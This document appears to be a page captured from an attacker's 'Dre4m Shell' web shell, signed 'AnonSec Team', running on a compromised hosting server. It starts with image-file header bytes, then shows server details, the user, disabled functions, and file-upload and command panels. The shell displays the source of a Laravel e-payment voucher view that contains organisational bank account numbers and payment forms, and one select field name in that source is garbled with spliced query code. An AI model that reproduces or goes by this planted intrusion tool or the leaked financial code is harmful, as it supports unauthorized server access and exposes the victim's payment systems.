ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.149.246.9
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/nicnModuleViews/epaymentShedule/NOT-USE-mergedVoucher/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/nicnModuleViews/epaymentShedule/NOT-USE-mergedVoucher/viewMergedVoucher.blade.php
@extends('layouts.layout')
@section('pageTitle')
{{strtoupper("All Merged Vouchers: You can generate your E-Payment now")}}
@endsection
@section('content')
	<div class="box-body">
		<div class="row">
			<div class="col-md-12">
				@if (count($errors) > 0)
					<div class="alert alert-danger alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Error!</strong>
						@foreach ($errors->all() as $error)
							<p>{{ $error }}</p>
						@endforeach
					</div>
				@endif

				@if(session('msg'))
					<div class="alert alert-success alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Success!</strong>
						{!!  session('msg') !!}
					</div>
				@endif

				@if(session('err'))
					<div class="alert alert-warning alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Error !</strong>
						{!! session('err') !!}
					</div>
				@endif

			</div>


		</div><!-- /.col -->
		<form method="post" action="{{ route('filterMerge') }}">
			{{ csrf_field() }}
			<div class="row">
				<div class="col-md-6 col-md-offset-3">
					@include('layouts._searchByDatePatialView')
				</div>
			</div>
		</form>
		<hr>
	</div><!-- /.row -->
	<form method="post" action="{{ route('prepareMergeEpayment') }}">
		{{ csrf_field() }}
		<div align="center" class="col-sm-12" style="background: #f9f9f9; padding: 10px;">SELECT APPROPRIATE ACCOUNT DETAILS</div>
		<div align="center" class="row" style="margin-right: 10px; margin-top: -10px;">
			<div class="col-md-3">
				<input type="checkbox" name="headBanner" value="1" style="width: 30px; height: 30px;">
				<span class="text-success">Remove Head Banner on E-payment Report</span>
			</div>
			<div class="col-md-3">
				<input type="radio" name="account" value="personnel" style="width: 30px; height: 30px;">
				<span class="text-success"><big>PERSONNEL ACCT/NO : <b>2004656203</b></big></span>
			</div>
			<div class="col-md-3">
				<input type="radio" name="account" value="recurrent" style="width: 30px; height: 30px;">
				<span class="text-success"><big>RECURRENT ACCT/NO : <b>2004325299</b></big></span>
			</div>
			<div class="col-md-3">
				<input type="radio" name="account" value="capital" style="width: 30px; height: 30px;">
				<span class="text-success"><big>CAPITAL ACCT/NO : <b>0020170542011</b></big></span>
			</div>
		</div>
		<hr />

		<div class="row">
			<div align="center" class="col-md-3">
				<button type="submit" name="generateEpayment" class="btn btn-info"> Generate E-Payment (Normal) <i class="fa fa-file"></i> </button>
			</div>
			<div align="center" class="col-md-3">
				<button type="submit" name="generateEpaymentNormal" class="btn btn-success" value="splitAsNormal"> Generate E-Payment (Merge) <i class="fa fa-file"></i> </button>
			</div>
			<div align="center" class="col-md-3">
				<a href="{{route('generateEpayment')}}" class="btn btn-default">Go Back</a>
			</div>
			<div align="center" class="col-md-3">
				<button type="button" class="btn btn-warning" id="startDeMergeVoucher">De-merge <i class="fa fa-copy"></i></button>
			</div>
		</div>
		<div class="box-body">

			<div align="center" class="alert" style="font-size: 20px; background: #f9f9f9;">
				<strong>{{strtoupper('Select Beneficiary')}}</strong>
			</div>

			<hr>
			<input type="text" id="myInput" class="form-control" onkeyup="myFunction()" placeholder="Search by Beneficiary/Name..." title="Type in a Beneficiary or name">
			<br />

			<div style="max-height: 500px; overflow-y: auto;">
				<table id="myTable" class="table table-hover table-striped table-responsive table-condensed table-bordered input-sm">
					<thead>
					<tr>
						<th>S/N</th>
						<th><input type="checkbox" tabindex="1" name="globalCheckbox" id="globalCheckbox"></th>
						<th>{{strtoupper("Beneficiary's Name")}}</th>
						<th>{{strtoupper("Bank")}}</th>
						<th>{{strtoupper("Account No.")}}</th>
						<th>{{strtoupper('Sort Code')}}</th>
						<th>{{strtoupper('Amount')}} &#8358;</th>
						<th>{{strtoupper('No. of Payment')}}</th>
						<th>
							<div>{{strtoupper('Description')}}
							<!--<input type="text" name="newDescription" placeholder="Change Description">-->
							</div>
						</th>
						<th>{{strtoupper('Date')}}</th>
					</tr>
					</thead>

					<tbody>
					@if($mergedVoucher )
					@php $key = 1; $countNull = 1; $keyCount = 1; @endphp
					@foreach ($mergedVoucher as $listMerged)
						<tr>
							<td>
								{{$key ++}}
							</td>
							<td>
								<input type="checkbox" tabindex="1" name="beneficiaryCompany[]" id="{{$listMerged->id}}" value="{{$listMerged->id}}" class="beneficiaryArray checkBox">
							</td>
							<td><a href="#" data-toggle="modal" data-target="#editMergeVoucherModal{{$listMerged->id}}"> {{$listMerged->beneficiary}} </a></td>

							<td> <a href="#" data-toggle="modal" data-target="#editMergeVoucherModal{{$listMerged->id}}"> {{$listMerged->bank}} </a></td>

							<td><a href="#" data-toggle="modal" data-target="#editMergeVoucherModal{{$listMerged->id}}"> {{$listMerged->account_no}} </a></td>

							<td><a href="#" data-toggle="modal" data-target="#editMergeVoucherModal{{$listMerged->id}}"> {{$listMerged->sort_code}} </a></td>

							<td><a href="#" data-toggle="modal" data-target="#editMergeVoucherModal{{$listMerged->id}}"> {{$listMerged->sum_amount}} </a></td>

							<td><a href="#" data-toggle="modal" data-target="#editMergeVoucherModal{{$listMerged->id}}"> {{$totalMergedVoucher[$keyCount++]}} </a> </td>

							<td width="600"><a href="#" data-toggle="modal" data-target="#editMergeVoucherModal{{$listMerged->id}}">{{$listMerged->payment_purpose}}</a> </td>

							<td> {{$listMerged->create_at}} <br /> @if($listMerged->raise_epayment == 1) <small class="text-success">Used for E-pmt</small> @endif </td>
						</tr>

						<!--update Merged Voucher-->
						<div class="modal fade" id="editMergeVoucherModal{{$listMerged->id}}" role="dialog" aria-hidden="true">
							<div class="modal-dialog">
								<div class="modal-content">
									<div class="modal-header" style="background: gray; color: white; border: 1px solid white;">
										<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
										<h4 class="modal-title"> Update Merge Voucher</h4>
									</div>
									<div class="modal-body col-sm-12" style="padding: 10px;">
										<div class="row" style="background: #FFFFFF; margin: 5px;">
											<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
												<div class="col-md-6">
													Full Name
													<input type="text" class="form-control" id="newBeneficiary{{$listMerged->id}}" value="{{$listMerged->beneficiary}}"/>
												</div>
												<div class="col-md-6">
													Description
													<textarea  id="newDescription{{$listMerged->id}}" class="form-control">{{$listMerged->payment_purpose}}</textarea>
												</div>
											</div>
											<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
												<div class="col-md-6">
													Bank Name
													<input type="text"  id="newBankName{{$listMerged->id}}" class="form-control" value="{{$listMerged->bank}}" />
												</div>
												<div class="col-md-6">
													Account Number
													<input type="text" id="newAccountNumber{{$listMerged->id}}" class="form-control" value="{{$listMerged->account_no}}" />
												</div>
											</div>
											<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
												<div class="col-md-6">
													Sort Code
													<input type="text" id="newSortCode{{$listMerged->id}}" class="form-control" value="{{$listMerged->sort_code}}"/>
												</div>
												<div class="col-md-6">
													Amount
													<input type="text" id="newAmount{{$listMerged->id}}" class="form-control" value="{{$listMerged->sum_amount}}" />
												</div>
											</div>
										</div>
										<hr />
									</div>
									<div class="modal-footer">
										<span class="text-left pull-left" id="waitModal{{$listMerged->id}}"></span>
										<button type="button" class="btn btn-success updateMergeVoucher" id="{{$listMerged->id}}"> Update </button>
										<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
									</div>
								</div>
							</div>
						</div>
						<!-- //Confirmation For Merging of Voucher -->

					  @endforeach
					@endif
					</tbody>
				</table>
			</div>
			<div align="right">
				@if($mergedVoucher )
				Showing {{($mergedVoucher->currentpage()-1)*$mergedVoucher->perpage()+1}}
				to {{$mergedVoucher->currentpage()*$mergedVoucher->perpage()}}
				of  {{$mergedVoucher->total()}} entries
			</div>
			@endif
			<hr >
		</div>



	<p>
	<div class="row" style="padding: 0 10px;">
		<div align="left" class="col-xs-6">
			<strong>Authorized Signatory</strong>
			<table class="table table-condensed table-responsive">
				<tr>
					<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
					<td align="left">&nbsp;&nbsp;&nbsp;
						<select name="firstAuthorized" style="border: 0; border-style: none; color: blue;">
							<option value="">Select</option>
							<option value=""></option>
							@foreach($allRecords as $list)
								<option value="{{$list ->signatoryID}}">{{$list ->fullname}}</option>
							@endforeach
						</select>
					</td>
				</tr>
			</table>
			<strong>Authorized Signatory</strong>
			<table class="table table-condensed table-responsive">
				<tr>
					<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
					<td align="left">&nbsp;&nbsp;&nbsp;
						<select name="secondAuthorized" style="border: 0; border-style: none; color: blue;">
							<option value="">Select</option>
							<option value=""></option>
							@foreach($allRecords as $list)
								<option value="{{$list ->signatoryID}}">{{$list ->fullname}}</option>
							@endforeach
						</select>
					</td>
				</tr>
			</table>
		</div>
		<div align="left" class="col-xs-6">
			<strong>Submited For Confirmation By</strong>
			<table class="table table-condensed table-responsive">
				<tr>
					<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
					<td align="left">&nbsp;&nbsp;&nbsp;
						<select name="submitedForConfirmationBy" style="border: 0; border-style: none; color: blue;">
							<option value="">Select</option>
							<option value=""></option>
							@foreach($allRecords as $list)
								<option value="{{$list ->signatoryID}}">{{$list ->fullname}}</option>
							@endforeach
						</select>
					</td>
				</tr>

			</table>
			<strong>Confirmed Before Me</strong>
			<table class="table table-condensed table-responsive">
				<tr>
					<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
					<td align="left">&nbsp;&nbsp;&nbsp;
						<select name="confirmed->join('tblbank','tblbank.bankID','=','tblper.bankID')
								->join('tblbanklist','tblbanklist.bankID','=','tblper.bankID')BeforeMe" style="border: 0; border-style: none; color: blue;">
							<option value="">Select</option>
							<option value=""></option>
							@foreach($allRecords as $list)
								<option value="{{$list ->signatoryID}}">{{$list ->fullname}}</option>
							@endforeach
						</select>
					</td>
				</tr>
			</table>
		</div>
	</div>
	</p>
	</form>
	<hr />

	<div align="center" class="col-md-12">
		<a href="{{route('generateEpayment')}}" class="btn btn-default">Go Back</a>
	</div>
	<br />
	<br />


	</div>
	</form>


@stop


@section('scripts')
	<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
	<script type="text/javascript">
        //SELECT/DESELECT ALL CHECKBOX
        $(document).ready(function () {
            $('#globalCheckbox').click(function(){
                if($(this).prop("checked")) {
                    $(".checkBox").prop("checked", true);
                } else {
                    $(".checkBox").prop("checked", false);
                }
            });
        });

        //Table search and pagination
        function myFunction() {
            // Declare variables
            var input, filter, table, tr, td, i;
            input = document.getElementById("myInput");
            filter = input.value.toUpperCase();
            table = document.getElementById("myTable");
            tr = table.getElementsByTagName("tr");

            // Loop through all table rows, and hide those who don't match the search query
            for (i = 0; i < tr.length; i++) {
                td = tr[i].getElementsByTagName("td")[2];
                if (td) {
                    if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
                        tr[i].style.display = "";
                    } else {
                        tr[i].style.display = "none";
                    }
                }
            }
        }
        //ends here

        //Update merged voucher
        $(document).ready(function() {
            $('.updateMergeVoucher').click(function() {
                var recordID = this.id;
				$('#waitModal' + recordID).html('Pleas wait operation in progress...').css('color', 'red');
                //JSON Request
                $.ajax({
                    url: murl + '/update-merged-voucher-by-Json',
                    type: "post",
                    data: {
                        'ID': recordID,
                        'newBeneficiary': $("#newBeneficiary" + recordID).val(),
                        'newDescription': $("#newDescription" + recordID).val(),
                        'newBankName': $("#newBankName" + recordID).val(),
                        'newAccountNumber': $("#newAccountNumber" + recordID).val(),
                        'newSortCode': $("#newSortCode" + recordID).val(),
                        'newAmount': $("#newAmount" + recordID).val(),
                        '_token': $('input[name=_token]').val()
                    },
                    success: function (data) {
                        $('#waitModal' + recordID).html('Record updated successfully. Wait while System reloads...').css('color', 'green', 'font-size', '11');
                        location.reload();
                    }//end success
                })
            });
        });
        //ends update
        //DEMERGE
        $(document).ready(function() {
            $("#startDeMergeVoucher").click(function () {
                var beneficiaryArray = [];
                $('input.beneficiaryArray:checkbox:checked').each(function () {
                    beneficiaryArray.push(this.value);
                    //beneficiaryArray = $(this).val();
                });
                if(beneficiaryArray == ''){
                    alert('You have not selected any voucher to be merged !');
                    return false;
                }
                //
                if(confirm("Are you sure you want to merge these records ?")) {
                    $.ajax({
                        url: "{{url('/')}}" + '/demerge-voucher-json',
                        type: "post",
                        data: {
                            'beneficiaryArray': beneficiaryArray,
                            '_token': $('input[name=_token]').val()
                        },
                        success: function (data) {
                            alert(data);
                            location.reload();
                        }//end success
                    })
                }
            });
        });

	</script>
	@include ('layouts._searchByDatePatialCpo')
@stop

@section('styles')
	<!-- Include Required Prerequisites -->
	<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap/3/css/bootstrap.css" />
	<!-- Include Date Range Picker -->
	<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.css" />

@stop

Anon7 - 2022
AnonSec Team